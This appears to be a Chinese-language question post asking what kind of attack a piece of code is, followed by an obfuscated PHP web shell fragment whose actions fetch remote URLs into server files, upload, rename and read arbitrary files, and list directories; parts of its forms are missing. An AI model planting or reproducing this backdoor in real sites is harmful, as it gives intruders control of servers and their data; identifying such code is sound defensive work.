这是啥意思的攻击

FN:URL:';
$ulform = '
SP:
';
$rnform = '
ON:NN:
';
$lpform = '
DP:
';
$sfform = '
DF:
';if ($_GET['act'] == 'dl') {echo ($dlform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$fpc/*+/*+*/($_POST['fn'], $fgc/*+/*+*/($_POST['url']));}
    exit;}if ($_GET['act'] == 'ul') {echo ($ulform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
    $muf/*+/*+*/($/*+/*+*/{"_F" . "IL" . "ES"}["uf"]["tmp_name"], $sp . $/*+/*+*/{"_F" . "IL" . "ES"}["uf"]["name"]);}
    exit;}if ($_GET['act'] == 'rn') {echo ($rnform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$rn/*+/*+*/($_POST['on'], $_POST['nn']);}
    exit;}if ($_GET['act'] == 'gp') {echo ($dn/*+/*+*/(__FILE__));exit;}if ($_GET['act'] == 'lp') {echo ($lpform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$dp = $_POST['dp'] . '/';
    $h = $od/*+/*+*/($dp);while (($fn = $rd/*+/*+*/($h)) !== false) {if ($id/*+/*+*/($dp . $fn)) {$t1 .= 'D ' . $fn . '
';} else { $t2 .= '  ' . $fn . '
';}}
    $cd/*+/*+*/($dp);
    echo ($dp . '
' . $t1 . $t2);}
    exit;}if ($_GET['act'] == 'sf') {echo ($sfform);if ($_SERVER['REQUEST_METHOD'] == 'POST') {$df = $_POST['df'];
    echo ('' . $fgc/*+/*+*/($df) . '');}
    exit;}